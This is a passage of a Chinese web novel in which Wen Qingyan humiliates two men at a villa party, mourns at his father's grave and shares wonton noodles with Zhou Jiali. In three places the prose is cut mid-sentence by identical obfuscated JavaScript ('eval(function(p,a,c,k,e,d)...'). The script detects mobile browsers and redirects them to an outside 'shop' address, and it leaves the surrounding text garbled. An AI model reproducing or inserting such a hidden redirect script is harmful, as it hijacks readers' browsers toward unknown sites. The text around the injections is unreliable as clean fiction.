郑瑞彤调侃狄千雁:“把人管的这么死啊?”
狄千雁不以为然道:“谈恋爱不就是想要个人陪着,随叫随到嘛,不然干嘛谈恋爱?”
闻青延轻轻揪了揪路知远的衣袖。
路知远感觉袖子被扯动,微微偏头凑近闻青延,问:“怎么了?”
“我惹事了。”闻青延在路知远耳边坦白。
两人凑得很近,侧过脸时微凉的鼻尖轻轻碰到路知远的下颌。
路知远一怔。
闻青延见他没反应,捏着他的袖子小幅度摇了摇,小声道:“你听见没啊?”
“啊?”路知远回神,点了点头,又摇摇头,嘴角含笑问:“你说什么了?”
这个耳背的家伙到底在笑什么啊?
闻青延单手攀住他的肩膀,稍微垫了垫脚,薄唇几乎贴着他的耳朵说话,“我说我惹事了!你得给我收尾。”
路知远失笑,光听闻青延这么理直气壮的语气,还以为他干了什么好事呢。
他故意收敛了笑容,佯装严肃,压低声音问:“惹什么事了?我顶得住吗?”
顶不住才怪,光看郑瑞彤对路知远和周嘉云有多客气,就知道路知远在这场子绝对处于高位。
这会装什么白莲花?
更何况Allen和钉子也编排了路知远,他整治了这两个人,算起来还替路知远出了一口恶气。
路知远说谢谢了吗?
闻青延翻了白眼,本来攀着路知远肩膀的手往前卡住他的脖颈。
路知远挑眉:“胁迫我?”
眼见那头娄助领着物业管家和工程师傅进来,洗手间外越来越热闹,闻青延的语速也越来越快。“求你!赶紧的,你带我来,大家都知道我是你的人,出了什么事不得你兜底?”
没见过这么求人的。路知远勾唇一笑,也没问他出了什么事,只说:“行,给你兜底。”
这边两人讲着小话,那头狄千雁已经掏出手机给男友钉子打电话。
“刚刚又说能打开了,一会等Allen出来还是让工程检修看看吧,小娄你找个阿姨跟进这事,我们就不在这里站着开大会了。”刘阿姨已经去忙其他活了,留在这的郑瑞彤跟娄助和管家大概同步了一下情况。
娄助有些疑惑:“Allen在洗手间里边吗?”她听到的版本明明是Allen找阿姨说狄小姐的男朋友被反锁在洗手间了,要找钥匙开门。
“刘阿姨讲的。”郑瑞彤也有些纳闷道:“怪了,Allen怎么这么久都不出来?”
她话音刚落,自几人来到后就始终安静的洗手间传来一阵手机铃声。
20. 说谢谢了吗
路知远看向闻青延,比口型道:“你干了什么?”
闻青延回以无辜的眼神。
那边郑瑞彤还没反应过来,也掏出手机拨通了Allen的手机,一边对狄千雁道:“奇怪,里头是你男朋友?那Allen呢……”
她话音停顿,隔着门板又有一阵手机铃声响起,两段铃声一前一后交织成了二重奏,但始终没有接通。
“搞什么啊?”狄千雁皱眉,“开门!”
洗手间里的人总算出声了,Allen跟钉子异口同声:“等等……马上来!”
郑瑞彤懒得理会他们在搞什么名堂,示意工程师傅上前去开门。
门里的人听见门锁响动,连声说:“等一下等一下,现在还有点不方便……”
门已经打开了。
只见Allen和钉子两人都只穿着条内裤,挨在角落里,形容狼狈。两件扭成咸菜干的睡袍和铃声作响的手机散落在脚边。
他们好不容易手脚并用才互相帮忙挣开束缚,这会两人尽量缩着身体,一手捞起衣服,一手去捡手机。
闻青延故意玩笑道:“哇,你们在洗手间偷情呢?”
Allen和钉子敢怒不敢言,瞪着他。
在场的人一时神色都有些微妙,不由纷纷将目光投向狄千雁和郑瑞彤。
狄千雁:“……”
郑瑞彤:“……”
她们当然知道再给Allen和钉子十个胆子,这两人也不敢背着她们乱来……现在明显是被人做局整了。
郑瑞彤觉得丢人,撇过脸只想尽快疏散现场。“赶紧把衣服先穿上。”
狄千雁年轻气盛,虽然平时自己对男朋友当条小狗呼来喝去的,但大小姐也不高兴别人随便踢了自己的狗,她皱着眉头朝钉子不满道:“怎么回事?谁把你弄成这样?”
钉子身上明显还有些打斗的伤痕。
他见狄千雁肯为自己撑腰,一时也来了底气,狄千雁要追究,路知远肯定不可能为了个玩意儿,下狄千雁面子啊。于是刚刚还一个屁都不敢放的钉子当即指着闻青延,向狄千雁告状:“是他!闻青延不知道突然发什么疯,把我和Allen揍了一顿,还扒了我们的衣服,把我们捆起来。”钉子不忘卖惨,撩开睡袍,露出腹肌,上面果然有一块淤痕。
“你说是……闻青延干的?”狄千雁有些迟疑地看了眼下钉子的八块腹肌,又看向闻青延。
闻青延已经跟路知远提前通过气了,这会被钉子指认也不慌乱,见狄千雁看过来,还朝她笑了笑。
他骨架不大,劲瘦的身材被睡袍一裹,仿佛纸片人,衣领被路知远掖得严严实实,只隐约露出两根伶仃的锁骨。
狄千雁收回视线,怀疑地看向钉子……不可能吧,钉子那么大块头打不过闻青延?
钉子委屈,他喊Allen作证:“不信你问Allen!Allen,你说!”
Allen:“是他……”他刚开口,就见郑瑞彤朝他使了个眼色,于是乖乖闭嘴没在说话。
狄千雁脸拉下来。
闻青延眨了眨眼,等着她找自己对线。
结果狄千雁直接绕过他对着路知远说:“路知远,你什么意思?”
路知远低头捏着闻青延的手指玩,漫不经心道:“什么什么意思。”
狄千雁气笑了:“你的人把我的人整成这样,不用道个歉?”
闻青延:“……”虽然他本意就是让路知远帮他收尾兜底,但这句话听着怎么这么怪呢?
路知远终于抬起头,斜乜了眼钉子肚子上的淤青,笑道:“闻青延打的?”
钉子点头,又一遍补充闻青延的恶行,“他还扒了我们的睡袍,把我们绑起来。”
郑瑞彤抚了抚狄千雁的胳膊,不是什么大事,接下来只要路知远让闻青延意思一下道个歉,狄千雁这边面子过得去,这事就算这么结束了。
本以为路知远会接着再问一句闻青延为什么揍他们,钉子已经在心里打腹稿,该怎么避重就轻把他们蛐蛐闻青延和路知远这事情揭过去。
结果路知远没问,只是点点头说:“这样啊。”
闻青延面上仍带着笑,手已经放在路知远的侧腰上,问都不问一下事情经过吗?路知远要是敢让他跟这两个烂人道歉,他就立刻掐下去。
路知远扫了眼闻青延摸着他腰腹的手,心想,这么软的手,打起人来能有多疼?
路知远:“那你们说谢谢了吗?”
钉子也明白狄千雁不可能为这点小事和路知远撕破脸,能让闻青延当众跟他道个歉已经是给狄千雁面子了,他见好就收,点点头说:“没事没事,道个歉就……”
诶?等等……路知远说什么?
钉子下意识去看狄千雁,狄千雁脸色非常难看,郑瑞彤挑了挑眉,拉住她。
一定是他听错了吧。
钉子又看向路知远。
也许是他脸上的茫然太明显,路知远纡尊降贵又说了一遍:“说谢谢了吗?”
路知远说第一遍的时候只是为了挑衅,但第二遍再说,就有点真心实意了,他都没被闻青延扒过衣服,绑过身子,这两男的凭什么?
钉子听完头晕目眩,闻青延抽他们,他们还得说谢谢?!
闻青延扯了扯路知远的衣角,小声道:“会不会太欺负人了?”
路知远瞥了他一眼,说:“你先把嘴角的笑容收一收,再来装。”
闻青延:^_^
钉子转头去看狄千雁,狄千雁已经黑着脸甩手走了,只来得及捕捉到一个背影。
另一旁郑瑞彤对路知远点点头,也离开追上去哄狄千雁。
Allen用手肘捅了捅钉子:“靠山都走了,还硬撑什么?”他拉着钉子一起给闻青延说谢谢。
好在之前洗手间门打开后,娄助就及时领着管家和工程先撤了,现在现场只剩他们四个人。
“谢谢。”两人声音小得跟蚊子似的。
闻青延摆了摆手道:“不客气。”
钉子和Allen脸都绿了。
-
“哈哈哈,还是你够狠,我扒他俩衣服的时候,他们脸色都没这么难看……”换回常服的闻青延和路知远一路说笑走出别墅。
果然一起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921391|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干坏事最快增进感情。进去别墅参加派对时路知远搭一下闻青延的肩膀很快就会被拍掉;这会从别墅出来,闻青延已经任由路知远把他半搂在怀里。
“所以他们到底怎么惹到你了?”路知远问。
闻青延哼唧了两声,坦然道:“他们心脏看什么都脏,编排我跟你有一腿,我们明显是哥们儿好吗?清清白白的……”
路知远不说话了。
闻青延继续说:“还说我卖屁股给你……”他话音一顿,迷惑地抬起脸看向路知远:“不是,你捏我屁股干嘛?”
“我看看怎么卖。”路知远一脸清白,手还放在他的后臀上,又轻轻拍了一下。
“滚。”闻青延无语地翻了个白眼,抬腿作势要踹他。
路知远嬉笑地躲开他这一脚,重新揽住闻青延的肩膀,带着他继续往前走。
闻青延问:“不等周嘉云一起回去吗?”
路知远耸耸肩道:“晚点她家司机来接她,我估计她正在听狄千雁骂我。”
闻青延摸了摸鼻子,“狄千雁今天还和我拍了很多张照片,回去恐怕都要撕了丢进垃圾桶了。”
“不可能。”路知远嗤笑一声。
-
狄千雁果然如路知远所说,正在派对结束后的姐妹局大骂路知远,欺人太甚,不给面子,一点绅士风度也没有云云,又说闻青延也是,讨厌死了,打了她的男朋友还敢对她笑!还有她那个男朋友,一整个窝囊废,就会给她丢脸,白长那么大块头,连闻青延都打不过。
大家陪着她一起骂,谴责得口都干了。
这时,一个女生指着桌上收起来一盒照片说:“千雁,那你跟闻青延这些合照应该不要了吧?”
狄千雁不说话。
另一个女生马上也说:“照片扔了、撕了都不合适吧。千雁,要不照片都放我那?”
“也给我一张啊。”“分我一张。”
周嘉云看得眼热,闻青延照片拍得很漂亮,都能做小卡了,她也想分一张,但她刚刚还坐在狄千雁身旁跟她同仇敌忾,怎么可以背叛姐妹……可是这个姿势的闻青延她也没有诶……
没等周嘉云纠结出个结果,狄千雁已经趴在桌子上两手一揽,把照片都归拢回自己面前,脸臭臭道:“干嘛,我没说不要。”
周嘉云:“……千雁,你刚刚还说闻青延性格恶劣。”
众人纷纷看向狄千雁,眼神意味深长。
“干嘛、干嘛?”狄千雁理直气壮道:“长得赏心悦目就好啊,又不是我男朋友,我管他性格恶不恶劣。”
说着说着她又有些犹豫道:“而且你说他打我前男友啊,该不会是对我有意思吧?”
众人:“分的好……不过什么时候变成前男友的?”
狄千雁问周嘉云:“嘉云,你对闻青延比较了解,你觉得他会喜欢什么类型的女生?”
周嘉云握住狄千雁的手:“别想不开,跟路知远抢人啊。”
狄千雁:“人家说不定就是直男呢?”
周嘉云:“你觉得路知远在意这种事情吗?”
两人对视一眼,沉默了。
21. 闻少爷
还不知道自己已经单方面被分手的钉子坐在保时捷前盖上,等狄千雁开完茶话会出来。
他一手夹着烟,一手拿着手机跟Allen发语音,怒骂闻青延。
“……ctm不就是个卖屁股的……我还能弄不过他?”“……到时候被圈子轮着玩一遍……真以为富哥这么好傍啊?……搞不好现在外网就有他的片,装个der呢!”
“说真的,这仇我一定要报回去!Allen,你别说你怂了?”
钉子骂得正上头,余光瞥见闻青延和路知远从别墅出来,他下意识收声,慌忙往车身后一蹲,蹲下去了才反应过来自己躲他干嘛?难道还真怕他了?
算了算了,形势比人强。钉子勉强安慰自己,就当站累了蹲一蹲,等这两个人走过去再站起身。
结果眼看闻青延和路知远就要走过去了,钉子刚准备站起来,突然有人从别墅里追出来。
“闻少爷——闻少爷?”
很久没有人这样叫过闻青延,他甚至没反应过来是在喊他,一味地要往前走,还是路知远提醒他:“好像有人叫你。”
“啊?”闻青延这才停住脚步,站在保时捷前,回头望去。
穿着管家制服的中年女士追上来,表情有些复杂,看着闻青延说:“好久不见,闻少爷。”
印象里的闻青延还是漂亮得跟女孩子似的小男生,在国际学校上学,一年四季都穿着学校的制服短裤配小腿袜和皮鞋;现在他长高了许多,也不穿那么板正的制服了,还染了一头潮流的粉发,但肩背依然那么挺拔,眉眼变得锋锐,逐渐褪去少年时期的青涩。
闻青延不认得这张有些陌生的脸,但他大概知道对方为什么认识自己,因此有些别扭地垂下眼帘,视线扫过对方的工作牌,上面写着“金荔山庄管家-岑叶丹”。
岑叶丹继续道:“您母亲闻太太最近还好吗?您高中寄宿私校,可能对我没什么印象,我和闻太太挺熟络的……”
“嗯,她挺好的。”闻青延扯扯嘴角,余光瞄了眼路知远,他不太愿意在别人面前提起家里人,于是不太礼貌地打断岑叶丹的叙旧,单刀直入地问:“请问有什么事吗?”
岑叶丹也意识到了闻青延不想多聊,当即打住,说:“是收发室有一封您的信,助学基金会那边转寄来的。”
闻青延了然,从他上学开始,父母就引导他每年存下零花钱,捐助给助学基金会,受到帮扶的困难学生会定期给捐助人写信由助学基金会转寄。但在闻青延高中毕业,发现家里出事后,他就取消了每年的捐助,并且托助学基金会去信给帮扶的学生们说明情况致歉,还数次电联助学基金会,确认他之前帮扶的那一批学生都找到新的捐助人了。
不知道为什么又会有人写信过来,是不是有什么困难?但现在的闻青延确实也没有能力去帮助他们。
他淡淡道:“你们帮我处理掉吧。”
岑叶丹迟疑:“本来也是要处理掉的,毕竟你们已经搬走了,不过门卫说您那段时间常回来,所以想着等您下次来直接拿给您,没想到后来您就一直没再来过……”
过去有段时间,闻青延已经不是金荔山庄的业主了,却常常回金荔山庄,因为这里有一只他曾投喂过的流浪猫。
本来闻青延打算高考后收养她,但后来计划赶不上变化,很长一段时间里,他都无暇顾及那只小猫。
而等到他再次回金荔山庄,已经进不去了。门卫记得闻青延,拦下他说非业主或业主邀请不能进入。
闻青延只好连着几天在金荔山庄门口蹲守,磨了很久,磨到物业怕影响金荔山庄的形象,才勉强松口表示他们可以在物业群里发一下公告,让工作人员有看见猫的话就帮他抓住,通知他过来领。
闻青延怕物业只是说着哄他的,于是那短时间仍隔三差五大老远骑车往返金荔山庄和学校。
直到后来有园艺工作人员说在草丛里发现了一只已经腐烂的三花猫。
“您要看看照片吗?”门卫怕他不信,还来纠缠,拿出手机翻聊天记录。
闻青延拒绝了,他顿了顿,又问:“猫还在吗?我是说……猫的尸体还在的话,我想出钱给她埋葬。”
门卫奇怪地看了他一眼,说:“太臭了,早就扔垃圾桶处理掉了,臭味被投诉了才发现的,好像是被附近的黄鼠狼咬死的吧……”
“好吧,谢谢,这段时间麻烦你们了……我不会再来了。”
闻青延在门口沉默地站了一会,骑车掉头离开。
那之后闻青延确实就没有再去金荔山庄了,直到这次拿到郑瑞彤派对的邀请函。
“你会冷吗?怎么有点抖?去车上吧,起风了。”路知远感觉到闻青延的身体微微颤抖,本来搭在他肩上的手往下挪了点,用力抱住他,转头问岑叶丹:“信在门口保卫处?”
“是的,一直放在那里。”岑叶丹点点头。
路知远又说:“人都来了,干脆就过去拿一下吧。”
闻青延想了想,“也行,那待会顺路取一下信。”
岑叶丹:“好,那我一会儿跟值班的门卫说一声。您跟他说,您是闻青延就可以。”
闻青延:“多谢你们帮我保管信。”
三人道别,岑叶丹返回别墅,路知远揽着闻青延往车的方向走,他随口问道:“你之前也住金荔山庄?”
闻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921392|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青延点点头:“嗯,后来搬走了。”
“搬去哪里了?”
闻青延回头瞥了眼保时捷车底露出的一双脚,说:“城西。”
“城西?”路知远挑挑眉。
城西那里是个著名风景区,有个有名的大湖平西湖,那一圈被戏称作当地的富豪区,天价地皮被几家大地产联手拿下了,环湖傍山建了一圈别墅,当地人习惯叫“半山别墅”,虽然名头上叫别墅,实际占地面积比得上庄园。除此外,城西就没有别的住宅区了。
不巧路家和周家就在半山别墅,这一片一共有哪几个姓氏,路知远心里有数。
他失笑摇摇头,还挺能吹牛,嘴上应和他:“那风景很好啊,下回请我去玩。”
“嗯。”闻青延的脸上半点看不出来吹牛的心虚,只是随意点点头,说:“走吧,烟味很重。”
保时捷车旁,蹲到腿有些发麻的钉子一个激灵把烟头按在地上,掐灭了。他也顾不上腿麻了,他现在整片头皮都在发麻!闻青延,啊不,闻少爷以前住金荔山庄?现在住在城西?那可是城西啊!半山别墅住得可全都是响当当的大人物……他居然敢蛐蛐人家傍二代,卖屁股……闻少爷一只手就能捏死他……
难怪路知远和周嘉云都跟他这么要好呢!虽然不知道闻少爷具体是什么来头,但这可是路家和周家都要捧着的人……钉子觉得自己实在是见识太浅了,根本脑补不出来闻青延什么来头……难道是官面的人物?还真有可能!他越想越觉得对头,衙内一般不都得低调做人嘛!
钉子现在也不记恨闻青延了,甚至还暗自庆幸今天闻少爷揍了他,要不人家是少爷呢?做人就是敞亮,有仇当场就报了……之后应该就不会再追究他了吧?
钉子不敢再想什么报复,他连忙给Allen发消息。
【钉子:我觉得今天确实是我们做得不对,还好闻少爷大人不记小人过,没跟我们计较。】
【Allen:?】
【Allen:是本人吗?被盗号了?】
【钉子:我已经诚心改过了,你把前面的聊天记录删了吧,我也已经删了。】
【Allen:……疯了?还是狄小姐要查你手机?】
【钉子:反正你赶紧把聊天记录删了。】
钉子一阵后怕,还好今天他不小心听见了闻少和路少的对话,不然之后他要是还不知死活地拉上Allen去闻少爷面前跳脚……想到这,钉子脸都扭曲了。
都怪那些眼比天高的二代,估计他们也是攀不上闻少爷的圈子,才会有这么离谱的流言传出来……那可是城西啊,要知道当时桌上那一圈富哥,就没有哪个能住进城西的。
22. 城西
城西不仅有平西湖,有半山别墅,还有一方墓园。
不年不节的日子,墓园很冷清。天光乍破,闻青延抱着一束白色的马蹄莲拾阶而上。
他穿过林间一个个墓碑,直到看见一张熟悉的黑白面容。闻青延停驻脚步,伸手拂去照片上的浮尘,俯身将马蹄莲放在墓碑前。
嵌在墓碑上的照片是闻青延亲手挑选的,英俊的男人笑得一脸意气风发,闻青延的鼻子和嘴巴都长得很像他。
“爸。”
闻青延的声带有些发紧,他许久没喊过这个称呼,一时半会也不知道该说什么,只是沉默地蹲在墓碑前。
被枝叶剪碎的光斑飘落在闻青延的面颊上,如蝴蝶轻轻闪动。他的喉结上下颤动,再次开口时,嗓音已经恢复正常,他说:“抱歉,我一直没来看你……因为我还挺恨你的。”
闻青延嘴角紧绷成一条直线,他和照片上的父亲久久对视。
“你真的很懦弱……明明从小教我坚强的人是你,最后临阵脱逃的人也是你。”
“反正我不会原谅你的。”
“你看着吧,我会活得很好,也会把妈妈照顾得很好……”
他声音渐渐低下去,张手抱了一下冷冰冰的墓碑,“走了。”
说完,闻青延利落起身,转头离开。
下山路上突然下起了小雨。
冷风斜吹,细密的雨丝仿佛缕缕蛛丝,轻轻网住闻青延的脸,落下一片冰凉的湿意。
山脚下的墓园工作人员跟他招手:“下雨了——进来躲躲雨!”
“谢谢,不用——”闻青延摆摆手。
现在只是小雨,他得赶紧回去,不然雨势大了更麻烦。
闻青延自行车停在墓园门口,没有锁,他长腿一跨,踩上踏板,一溜烟就出了墓园。
-
周嘉砺从半山别墅开车回学校,突然下起了连绵细雨,雾气弥漫,他车速不快,开得四平八稳。
心里无端想起路知远之前在群里发的消息。
【路知远:青延挺好玩的,他跟我说他住在城西。】
他这句发出去,群里纷纷哈哈哈哈哈,笑他在追的这个对象吹牛吹到正主面前了,路家是真的住在城西。
大家笑多了,路知远又有些不乐意了,把几个踩闻青延的踢出群聊。
【路知远:也不算吹牛,现在不住那,以后也会住进去。:)】
因为路知远踢了几个人,群里那些应声虫摸不准路知远的雷点,一时小心翼翼应和。
但也有熟人私聊周嘉砺 。
【:砺哥,你怎么看?路狗玩真的呢?到时候路家要闹翻天了吧?】
怎么看?呵。
【周嘉砺:不看。】
周嘉砺想着又冷笑一声,他之前提醒过路知远,结果路知远反过来怀疑他也看上闻青延了。
两边树影匀速向后退,车窗外突然闪过一抹亮色。
周嘉砺降下车窗,风裹着雨点从车窗外飘进来,拍在他脸上,周嘉砺毫不在意,只是盯着后视镜看。
后视镜里,骑行的少年双手掌握着车把,低俯身子,长腿踩得飞快,身体带动车子轻松地转过又一个大弯,如同一只在雨中低飞的蜻蜓。
公路上没什么车子,周嘉砺放缓车速。
后视镜里那一抹亮色的身影不断放大。
骑行的少年离得越来越近,一头亮眼的粉发在风雨中翻飞,他穿了件银色的外套,后车灯打在他身上,外套的反光条折射着荧光,湿淋淋的脸上闪动着水光,好让周嘉砺终于透过朦胧的薄雾,看清那张脸。
就是他心里想的那张脸。
黑色的迈巴赫在雨中龟速行驶,很快被迎头赶上的自行车超过。
骑行少年疾驰在阴雨天这条灰扑扑的公路上,仿佛一道劈开夜空的粉色闪电,任谁经过,都不免要为这番景色停留。
周嘉砺跟在自行车后,轻按了一声喇叭。
“嘟——”
闻青延被短促的喇叭声吓了个激灵,他回头望去,那辆龟速的迈巴赫停在身后。
车门打开,一道高大的身影打着黑伞从车上下来,迈着长腿大步朝他走来。
“闻青延。”
闻青延没想到在这也能遇到认识的人,虽然还没认出人,但已经先接话寒暄:“这么巧?”
黑伞稍微抬起,露出一双单眼皮锋利的眼睛。
闻青延:“是你啊,周学长。你怎么会在这?”
“回家,你呢?怎么跑这来了?”
几句话的功夫,周嘉砺已经走到闻青延身前,他撑着黑伞,往闻青延的方向倾斜,把他归拢伞下。
闻青延用衣袖擦了擦脸上的水迹,回答道:“我周末来城西骑行,结果回去的路上突然就下雨了。”
“没想到能遇见你。”
“嗯。”周嘉砺伸手抹掉他睫毛上小水珠,轻轻拍了拍他的肩膀,把伞塞到他手中,说:“撑着伞去车上等,我把你这辆自行车收起来。”
“周学长,你要载我一程啊?”闻青延从自行车上下来,撑着伞站在原地没动,“那我帮你打伞。”
两个男生都不是单薄的竹竿身材,尤其周嘉砺肩膀宽厚,为了保证两人都不淋雨,闻青延只能尽量贴着周嘉砺,伸直胳膊举着伞,伞面往周嘉砺的方向倒。
周嘉砺一只手抓住自行车的横梁轻松拿了起来,回头就见闻青延撑伞撑得很辛苦,干脆又伸出另一只手要把伞拿过来。
“我撑伞就好,不会让你淋到的。”闻青延躲了下没给他。
周嘉砺好心过来帮忙,自己总不能把什么活都让他干了,那也太没眼色了,而且他跟周嘉砺也没熟到这份上。
周嘉砺仍伸手来拿伞,“我来,我个子高,你不好撑伞。”
说他矮呢?闻青延被他这话一噎,“那你把自行车给我吧,这车身还挺重的,我自己拿过去。不然你两只手都拿东西,不好走路。”
“不用。”周嘉砺随意掂了点掂手里的自行车,说:“还行,挺轻的。”
闻青延:“……”总有种被对面挑衅力气不够大的无力感。
这回周嘉砺也许是不耐烦闻青延再三推拒客气,他直接伸手,连着闻青延的手和伞柄一同握住。
周嘉砺的手掌很烫,闻青延感觉自己的手如果是块奶油,现在已经黏答答地融化了。
他松开伞柄,扭了几下。
周嘉砺才反应过来自己直接握住了闻青延的手,他手一松,闻青延的手就抽了出去。
两人都没说话,周嘉砺用眼神示意闻青延跟上,一手撑着伞,一手拿着自行车往前走。走了几步,他低头瞥了眼闻青延放下的手,问:“你手很冰。会冷吗?”
“是啊,还好遇见你了,不然回去就得感冒了。”
闻青延摘下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16921393|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骑行头盔,甩了甩头发上的雨珠。
周嘉砺感觉到唇角一抹冰凉,他抿了抿唇。
“抱歉,甩掉你脸上了。”闻青延看见了,笑笑,伸手用手背抹去他唇角的水珠。
周嘉砺一屏息,简直像把手伸过来让他亲吻……他一向讨厌和别人有肢体接触,眉头当即皱了起来,心中暗道,闻青延也太没边界感了。
“你……”
周嘉砺的话才刚起了个头,闻青延顺手又搭上他的肩膀,帮他掸了掸衣服上的水珠,抬头问:“怎么了?”
闻青延的眼睛和天气一样,湿漉漉的。
周嘉砺收回视线,淡淡道:“没事。”
闻青延见周嘉砺半个肩头露在伞外,已经被雨水打湿,他干脆伸手挽住周嘉砺的胳膊,将伞往他淋雨也就是自行车的那边推了推,嘴上说:“给我的宝贝也遮一遮。”
周嘉砺身子僵硬,眉头深锁,两眼深深盯着闻青延,嗓音有些奇怪:“谁是你的宝贝?”
不等闻青延回答,他又硬邦邦道:“你别误会,我只是顺手帮个忙。毕竟路知远喜欢你,他又是我表哥。”
“啊?”闻青延被周嘉砺的反应弄得一头雾水,“我的宝贝山地车啊……”
"别误会什么?"
-
等闻青延坐到车上时,才反应过来周嘉砺刚刚那声别误会是什么意思。
住在城西的权贵子弟看不上他这种装腔作势、爱慕虚荣的普通人,警告他别攀关系呢。闻青延嗤笑一声,估计是看在路知远的面子上,才勉强载自己一程吧。
周嘉砺从车上翻出一条吊牌都还没剪掉的新围巾,递给闻青延,“会冷就披一下。”
闻青延淡淡“嗯”了一声,接过围巾放在一边。
周嘉砺:“……”
他本能地感觉气氛好像有些不太对,但他家世强大,又天生性子淡漠,谁也不放在心上,从来只有别人看他脸色的份,哪有他猜别人心思的情况?
周嘉砺用余光瞥了眼闻青延的神色,问:“你心情不好?”
你哪位?我跟你熟吗?闻青延似笑非笑回睨了他一眼,说:“还行。”
周嘉砺默默把车上暖气打开,问:“现在送你回学校?”
闻青延把外套脱掉,里面穿的白色背心也被淋湿了,几乎透明地贴在山上,闻青延干脆反手将背心脱掉,拧干后当毛巾擦干身体。
他一边擦水珠,一边随口应道:“嗯,谢了。回头我请路知远吃饭。”
他帮的忙,为什么要请路知远吃饭?周嘉砺扭头想质问他,结果映入眼帘的是一片刺眼的白。
闻青延光着上半身靠在黑色的真皮车座里,因为擦拭的动作有些粗鲁,他肩膀和胸膛一片片泛红的印记。
白的白,粉的粉。
周嘉砺又转过头去看前方的路,嗓音暗哑道:“我送你回学校,你请路知远吃饭?”
这不是知道你看不上我,怕我巴着你吗?闻青延心想,嘴上还是给两人留了点体面,淡淡道:“我知道周学长是看在路学长的面子上,顺手帮我一把,我会跟路学长说的。”
他需要路知远的人情?周嘉砺啧了声,直接说:“不用这么麻烦,你中午请我吃顿饭就行。”
闻青延:“啊?”
他说请路知远吃饭也是随便说说的,他哪请得起大少爷吃饭啊?
周嘉砺讹他呢?!
23. 云吞面
雨停了,周嘉砺收起伞,跟在闻青延身后。
两人七拐八拐进了老城区的一条旧巷子,巷子两边的店面门口或堆放杂物或停放车辆,本来就狭窄的小路更加逼仄,破烂的水泥路满是坑坑洼洼的积水,一边要小心脚下的积水,一边还要避让来往横冲直撞的电动车。
走到一家卷帘门降下一半的小店门口,闻青延停下脚步。
“老板,要两碗云吞面。”闻青延往店里喊了一句,也没等里头出来人,自己动作熟练地取出两个叠放在门口的塑料椅,又在店外找了块相对干燥的地方支开折叠桌。
他坐下,抬眼见周嘉砺还站着,腿伸过去用脚将对面的塑料椅推出去一点,扬了扬下巴示意他:“坐呀。”
周嘉砺把塑料椅拉开坐下,他一米九的个头,挤在这样一张小椅子上,实在有些窘迫。
闻青延露出有点恶劣的笑,故意问他:“还习惯吗?带你开开眼界。”语气劲劲的。
他原本的衣服都淋湿了,在车上换了周嘉砺的西服。这件外套穿在闻青延身上空落落的,大了不止一号。整件衣服只有一枚纽扣,深V快开到肚脐眼去了。闻青延里头没衣服穿,干脆用围巾在西服外绕了一圈,打了个蝴蝶结防止走光,穿法奇特,全靠他的脸蛋和身材撑住,让人感觉仿佛设计如此。
周嘉砺瞥了眼闻青延胸前的大蝴蝶结,有些微妙地觉得像礼物盒。
“穿着我的衣服,讲话注意点。”周嘉砺把黑色的直伞挂靠在桌边,坐下。
两人的长腿在折叠桌下交错,膝盖互相碰触。
没等多久,小店的卷帘门全收了上去,里头走出来一个四十多岁的妇女。她端着两碗冒着热腾腾雾气的云吞面,搁到桌上,跟闻青延打招呼:“好久没来了。”
老板脸上挂着和善的笑,又冲周嘉砺点点头,问闻青延:“你朋友?第一次见你带朋友来。”
周嘉砺看向闻青延。
闻青延和老板笑笑道:“这学期课多……”
两人寒暄了一番,老板转身回店里。
本来闻青延选这家店,只是单纯不愿意跟周嘉砺多相处,想让对方主动拒绝,谁知道周嘉砺这么干脆,问都没问人均,直接让他输地址导航。
现在坐到店里,云吞的香味扑鼻而来,闻青延还真有些怀念了。
他从筷子筒里抽出两双一次性筷子,掰开后互相摩擦打掉毛刺,递给周嘉砺。
“给。这家店虽然简陋了一点,但老板很爱干净的。”
“嗯。”周嘉砺接过筷子,在闻青延的注视下,吃了一个云吞。
闻青延期待地看着他:“好吃吧?”
周嘉砺没嚼两口就整个囫囵吞了进去,其实味精很重,馅料的肉也很一般,但在闻青延的眼神下,他还是鬼使神差地点了点头:“好吃。”
闻青延这才心满意足地开动,他腮边鼓起,含糊道:“我还是第一次跟人分享这家店。老板还在摆摊推车卖云吞面的时候,我就经常光顾了,后来她攒够钱,开了店面,我也时不时会来……”
周家的规矩很多,讲究食不语寝不言,周嘉砺平时吃饭也不爱说话,但这会儿就着闻青延絮絮叨叨的拉家常,周嘉砺又吃了几个云吞,感觉味道其实也不错。
“……我们家每年过年都要包云吞,她家的云吞皮擀得很薄,跟我妈妈做的味道很像。”闻青延讲到这里,不讲了,埋头喝汤。
两人吃完,老板过来收碗。
